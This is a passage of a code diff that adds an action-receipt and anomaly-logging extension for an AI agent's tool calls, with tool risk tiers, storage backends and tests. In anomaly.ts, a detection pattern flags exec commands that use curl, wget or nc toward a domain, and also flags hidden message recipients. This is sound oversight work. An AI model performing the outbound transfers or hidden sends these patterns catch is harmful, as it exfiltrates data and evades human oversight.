expect(result.defaultModel).toBe("gpt-oss-120b-f16"); + }); + }); + + describe("without EIGENCLOUD_API_KEY", () => { + beforeEach(() => { + delete process.env.EIGENCLOUD_API_KEY; + }); + + it("returns empty profiles with note", async () => { + const result = await eigenCloudProvider.auth[0].run({} as any); + expect(result.profiles).toHaveLength(0); + expect(result.notes).toBeDefined(); + expect(result.notes!.length).toBeGreaterThan(0); + }); + }); +}); diff --git a/extensions/boltbot/src/__tests__/receipt-store.test.ts b/extensions/boltbot/src/__tests__/receipt-store.test.ts new file mode 100644 index 000000000..1e6ae440a --- /dev/null +++ b/extensions/boltbot/src/__tests__/receipt-store.test.ts @@ -0,0 +1,96 @@ +import { describe, it, expect, beforeEach } from "vitest"; +import { LocalReceiptStore } from "../stores/local.js"; +import { hashData, type ActionReceipt } from "../receipt-store.js"; + +function makeReceipt(overrides: Partial = {}): ActionReceipt { + return { + id: crypto.randomUUID(), + timestamp: new Date().toISOString(), + sessionKey: "test-session", + tier: "medium", + toolName: "message", + argumentsHash: hashData({ to: "user" }), + resultHash: hashData({ ok: true }), + success: true, + durationMs: 100, + anomalies: [], + ...overrides, + }; +} + +describe("LocalReceiptStore", () => { + let store: LocalReceiptStore; + + beforeEach(() => { + store = new LocalReceiptStore(":memory:"); + }); + + it("put and get roundtrip", async () => { + const receipt = makeReceipt(); + await store.put(receipt); + const retrieved = await store.get(receipt.id); + expect(retrieved).toEqual(receipt); + }); + + it("get returns null for nonexistent id", async () => { + const result = await store.get("nonexistent-id"); + expect(result).toBeNull(); + }); + + it("list returns receipts in reverse chronological order", async () => { + const r1 = makeReceipt({ timestamp: "2026-01-01T00:00:00.000Z" }); + const r2 = makeReceipt({ timestamp: "2026-01-02T00:00:00.000Z" }); + const r3 = makeReceipt({ timestamp: "2026-01-03T00:00:00.000Z" }); + await store.put(r1); + await store.put(r2); + await store.put(r3); + + const list = await store.list({ limit: 10, offset: 0 }); + expect(list).toHaveLength(3); + expect(list[0].id).toBe(r3.id); + expect(list[1].id).toBe(r2.id); + expect(list[2].id).toBe(r1.id); + }); + + it("stats returns correct counts", async () => { + await store.put(makeReceipt({ tier: "high" })); + await store.put(makeReceipt({ tier: "high" })); + await store.put(makeReceipt({ tier: "medium" })); + await store.put(makeReceipt({ tier: "medium" })); + await store.put(makeReceipt({ tier: "medium" })); + + const stats = await store.stats(); + expect(stats.total).toBe(5); + expect(stats.byTier).toEqual({ high: 2, medium: 3 }); + }); + + it("stats counts anomalies correctly", async () => { + await store.put(makeReceipt({ anomalies: ["unexpected_recipient"] })); + await store.put(makeReceipt({ anomalies: [] })); + await store.put(makeReceipt({ anomalies: ["unauthorized_outbound", "process_management"] })); + + const stats = await store.stats(); + expect(stats.anomalyCount).toBe(2); + }); + + it("uses sessionKey field", async () => { + const receipt = makeReceipt({ sessionKey: "my-session-key" }); + await store.put(receipt); + const retrieved = await store.get(receipt.id); + expect(retrieved?.sessionKey).toBe("my-session-key"); + }); +}); + +describe("hashData", () => { + it("produces consistent SHA-256 hex", () => { + const h1 = hashData({ foo: "bar" }); + const h2 = hashData({ foo: "bar" }); + expect(h1).toBe(h2); + expect(h1).toMatch(/^[0-9a-f]{64}$/); + }); + + it("handles null/undefined", () => { + const h = hashData(null); + expect(h).toMatch(/^[0-9a-f]{64}$/); + }); +}); diff --git a/extensions/boltbot/src/action-logger.ts b/extensions/boltbot/src/action-logger.ts new file mode 100644 index 000000000..d686710da --- /dev/null +++ b/extensions/boltbot/src/action-logger.ts @@ -0,0 +1,37 @@ +import { randomUUID } from "node:crypto"; +import { getTier } from "./action-tiers.js"; +import type { AfterToolCallEvent } from "./anomaly.js"; +import { detectAnomalies } from "./anomaly.js"; +import type { ActionReceipt, ReceiptStore } from "./receipt-store.js"; +import { hashData } from "./receipt-store.js"; + +type ToolContext = { + agentId?: string; + sessionKey?: string; + toolName: string; +}; + +export function createActionLogger(store: ReceiptStore) { + return async function afterToolCall( + event: AfterToolCallEvent, + ctx: ToolContext, + ): Promise { + const tier = getTier(event.toolName); + if (tier === "low") return; + + const receipt: ActionReceipt = { + id: randomUUID(), + timestamp: new Date().toISOString(), + sessionKey: ctx.sessionKey ?? "unknown", + tier, + toolName: event.toolName, + argumentsHash: hashData(event.params), + resultHash: hashData(event.result ?? event.error), + success: !event.error, + durationMs: event.durationMs ?? 0, + anomalies: detectAnomalies(event), + }; + + store.put(receipt).catch(() => {}); + }; +} diff --git a/extensions/boltbot/src/action-tiers.ts b/extensions/boltbot/src/action-tiers.ts new file mode 100644 index 000000000..687df96b5 --- /dev/null +++ b/extensions/boltbot/src/action-tiers.ts @@ -0,0 +1,34 @@ +export type Tier = "low" | "medium" | "high"; + +const TIER_MAP: Record = { + exec: "high", + apply_patch: "high", + gateway: "high", + sessions_spawn: "high", + process: "high", + + message: "medium", + write: "medium", + edit: "medium", + cron: "medium", + sessions_send: "medium", + browser: "medium", + canvas: "medium", + nodes: "medium", + + web_search: "low", + web_fetch: "low", + memory_search: "low", + memory_get: "low", + read: "low", + sessions_list: "low", + sessions_history: "low", + session_status: "low", + agents_list: "low", + image: "low", +}; + +export function getTier(toolName: string): Tier { + const normalized = toolName.toLowerCase().replace(/-/g, "_"); + return TIER_MAP[normalized] ?? "medium"; +} diff --git a/extensions/boltbot/src/anomaly.ts b/extensions/boltbot/src/anomaly.ts new file mode 100644 index 000000000..16fd3de0e --- /dev/null +++ b/extensions/boltbot/src/anomaly.ts @@ -0,0 +1,34 @@ +export type AfterToolCallEvent = { + toolName: string; + params: Record; + result?: unknown; + error?: string; + durationMs?: number; +}; + +export function detectAnomalies(event: AfterToolCallEvent): string[] { + const anomalies: string[] = []; + + if (event.toolName === "message") { + if (event.params.bcc || event.params.hidden_recipients) { + anomalies.push("unexpected_recipient"); + } + } + + if (event.toolName === "exec") { + const cmd = String(event.params?.command ?? ""); + if (/curl|wget|nc\s/.test(cmd) && /[a-z]+\.[a-z]{2,}/.test(cmd)) { + anomalies.push("unauthorized_outbound"); + } + } + + if (event.toolName === "process") { + anomalies.push("process_management"); + } + + if (event.toolName === "gateway") { + anomalies.push("gateway_access"); + } + + return anomalies; +} diff --git a/extensions/boltbot/src/api.ts b/extensions/boltbot/src/api.ts new file mode 100644 index 000000000..511ba46a8 --- /dev/null +++ b/extensions/boltbot/src/api.ts @@ -0,0 +1,60 @@ +import type { IncomingMessage, ServerResponse } from "node:http"; +import type { ReceiptStore } from "./receipt-store.js"; + +type PluginApi = { + registerHttpRoute: (params: { + path: string; + handler: (req: IncomingMessage, res: ServerResponse) => void | Promise; + }) => void; +}; + +function jsonResponse(res: ServerResponse, status: number, data: unknown) { + res.writeHead(status, { "Content-Type": "application/json" }); + res.end(JSON.stringify(data)); +} + +function parseQuery(url: string): Record { + const idx = url.indexOf("?"); + if (idx === -1) return {}; + const params = new URLSearchParams(url.slice(idx + 1)); + return Object.fromEntries(params.entries()); +} + +export function registerBoltbotApi(api: PluginApi, store: ReceiptStore) { + api.registerHttpRoute({ + path: "/boltbot/receipts", + handler: async (req, res) => { + const query = parseQuery(req.url ?? ""); + const limit = Math.min(Math.max(parseInt(query.limit ?? "50", 10) || 50, 1), 500); + const offset = Math.max(parseInt(query.offset ?? "0", 10) || 0, 0); + const receipts = await store.list({ limit, offset }); + jsonResponse(res, 200, { receipts }); + }, + }); + + api.registerHttpRoute({ + path: "/boltbot/receipt", + handler: async (req, res) => { + const query = parseQuery(req.url ?? ""); + const id = query.id; + if (!id) { + jsonResponse(res, 400, { error: "missing_id" }); + return; + } + const receipt = await store.get(id); + if (!receipt) { + jsonResponse(res, 404, { error: "not_found" }); + return; + } + jsonResponse(res, 200, { receipt }); + }, + }); + + api.registerHttpRoute({ + path: "/boltbot/stats", + handler: async (_req, res) => { + const stats = await store.stats(); + jsonResponse(res, 200, stats); + }, + }); +} diff --git a/extensions/boltbot/src/provider.ts b/extensions/boltbot/src/provider.ts new file mode 100644 index 000000000..b6f7e1289 --- /dev/null +++ b/extensions/boltbot/src/provider.ts @@ -0,0 +1,67 @@ +import type { ProviderPlugin } from "../../../src/plugins/types.js"; + +export const eigenCloudProvider: ProviderPlugin = { + id: "eigencloud", + label: "EigenCloud (EigenAI)", + docsPath: "/providers/eigencloud", + aliases: ["eigenai", "eigen"], + envVars: ["EIGENCLOUD_API_KEY"], + auth: [ + { + id: "eigencloud-api-key", + label: "EigenCloud API Key", + hint: "Get your key at developers.eigencloud.xyz", + kind: "api_key", + async run(_ctx) { + const apiKey = process.env.EIGENCLOUD_API_KEY; + if (!apiKey) { + return { + profiles: [], + notes: [ + "Set EIGENCLOUD_API_KEY env var. Apply at developers.eigencloud.xyz", + ], + }; + } + return { + profiles: [ + { + profileId: "eigencloud", + credential: { type: "api_key", key: apiKey }, + }, + ], + configPatch: { + models: { + providers: { + eigencloud: { + baseUrl: "https://eigenai.eigencloud.xyz/v1", + apiKey, + api: "openai-completions", + headers: { + "x-api-key": apiKey, + }, + models: [ + { + id: "gpt-oss-120b-f16", + name: "EigenAI GPT-OSS 120B", + reasoning: false, + input: ["text"], + contextWindow: 128_000, + maxTokens: 8_192, + cost: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + }, + }, + ], + }, + }, + }, + } as any, + defaultModel: "gpt-oss-120b-f16", + }; + }, + }, + ], +}; diff --git a/extensions/boltbot/src/receipt-store.ts b/extensions/boltbot/src/receipt-store.ts new file mode 100644 index 000000000..d685c9650 --- /dev/null +++ b/extensions/boltbot/src/receipt-store.ts @@ -0,0 +1,37 @@ +import { createHash } from "node:crypto"; +import { LocalReceiptStore } from "./stores/local.js"; + +export interface ActionReceipt { + id: string; + timestamp: string; + sessionKey: string; + tier: "low" | "medium" | "high"; + toolName: string; + argumentsHash: string; + resultHash: string; + success: boolean; + durationMs: number; + anomalies: string[]; + daCommitment?: string; +} + +export interface ReceiptStore { + put(receipt: ActionReceipt): Promise; + get(id: string): Promise; + list(opts: { limit: number; offset: number }): Promise; + stats(): Promise<{ total: number; byTier: Record; anomalyCount: number }>; +} + +export function createReceiptStore(backend?: string): ReceiptStore { + if (backend === "eigenda") { + const { EigenDAReceiptStore } = require("./stores/eigenda.js"); + return new EigenDAReceiptStore(process.env.EIGENDA_PROXY_URL!); + } + return new LocalReceiptStore(); +} + +export function hashData(data: unknown): string { + return createHash("sha256") + .update(JSON.stringify(data ?? "")) + .digest("hex"); +} diff --git a/extensions/boltbot/src/stores/eigenda.ts b/extensions/boltbot/src/stores/eigenda.ts new file mode 100644 index 000000000..b126cda3f --- /dev/null +++ b/extensions/boltbot/src/stores/eigenda.ts @@ -0,0 +1,42 @@ +import type { ActionReceipt, ReceiptStore } from "../receipt-store.js"; +import { LocalReceiptStore } from "./local.js"; + +export class EigenDAReceiptStore implements ReceiptStore { + private proxyUrl: string; + private localIndex: LocalReceiptStore; + + constructor(proxyUrl: string, dbPath = "boltbot-eigenda-index.db") { + this.proxyUrl = proxyUrl; + this.localIndex = new LocalReceiptStore(dbPath); + } + + async put(receipt: ActionReceipt): Promise { + const blob = Buffer.from(JSON.stringify(receipt)); + try { + const res = await fetch(`${this.proxyUrl}/put`, { + method: "POST", + headers: { "Content-Type": "application/octet-stream" }, + body: blob, + }); + if (res.ok) { + receipt.daCommitment = Buffer.from(await res.arrayBuffer()).toString("hex"); + } + } catch { + // DA failure is non-fatal + } + + await this.localIndex.put(receipt); + } + + async get(id: string): Promise { + return this.localIndex.get(id); + } + + async list(opts: { limit: number; offset: number }): Promise { + return this.localIndex.list(opts); + } + + async stats() { + return this.localIndex.stats(); + } +} diff --git a/extensions/boltbot/src/stores/local.ts b/extensions/boltbot/src/stores/local.ts new file mode 100644 index 000000000..37276af30 --- /dev/null +++ b/extensions/boltbot/src/stores/local.ts @@ -0,0 +1,79 @@ +import Database from "better-sqlite3"; +import type { ActionReceipt, ReceiptStore } from "../receipt-store.js"; + +export class LocalReceiptStore implements ReceiptStore { + private db: Database.Database; + + constructor(dbPath = "boltbot-receipts.db") { + this.db = new Database(dbPath); + this.db.exec(` + CREATE TABLE IF NOT EXISTS receipts ( + id TEXT PRIMARY KEY, + timestamp TEXT NOT NULL, + session_key TEXT, + tier TEXT NOT NULL, + tool_name TEXT NOT NULL, + arguments_hash TEXT NOT NULL, + result_hash TEXT NOT NULL, + success INTEGER NOT NULL, + duration_ms INTEGER, + anomalies TEXT, + da_commitment TEXT, + created_at TEXT DEFAULT (datetime('now')) + ) + `); + } + + async put(receipt: ActionReceipt): Promise { + this.db.prepare(` + INSERT OR REPLACE INTO receipts + (id, timestamp, session_key, tier, tool_name, arguments_hash, result_hash, success, duration_ms, anomalies, da_commitment) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + `).run( + receipt.id, receipt.timestamp, receipt.sessionKey, receipt.tier, + receipt.toolName, receipt.argumentsHash, receipt.resultHash, + receipt.success ? 1 : 0, receipt.durationMs, + JSON.stringify(receipt.anomalies), receipt.daCommitment ?? null, + ); + } + + async get(id: string): Promise { + const row = this.db.prepare("SELECT * FROM receipts WHERE id = ?").get(id) as any; + return row ? rowToReceipt(row) : null; + } + + async list(opts: { limit: number; offset: number }): Promise { + const rows = this.db.prepare( + "SELECT * FROM receipts ORDER BY timestamp DESC LIMIT ? OFFSET ?", + ).all(opts.limit, opts.offset) as any[]; + return rows.map(rowToReceipt); + } + + async stats() { + const total = (this.db.prepare("SELECT COUNT(*) as c FROM receipts").get() as any).c; + const byTier = Object.fromEntries( + (this.db.prepare("SELECT tier, COUNT(*) as c FROM receipts GROUP BY tier").all() as any[]) + .map((r: any) => [r.tier, r.c]), + ); + const anomalyCount = (this.db.prepare( + "SELECT COUNT(*) as c FROM receipts WHERE anomalies != '[]'", + ).get() as any).c; + return { total, byTier, anomalyCount }; + } +} + +function rowToReceipt(row: any): ActionReceipt { + return { + id: row.id, + timestamp: row.timestamp, + sessionKey: row.session_key, + tier: row.tier, + toolName: row.tool_name, + argumentsHash: row.arguments_hash, + resultHash: row.result_hash, + success: row.success === 1, + durationMs: row.duration_ms, + anomalies: JSON.parse(row.anomalies ?? "[]"), + daCommitment: row.da_commitment ?? undefined, + }; +}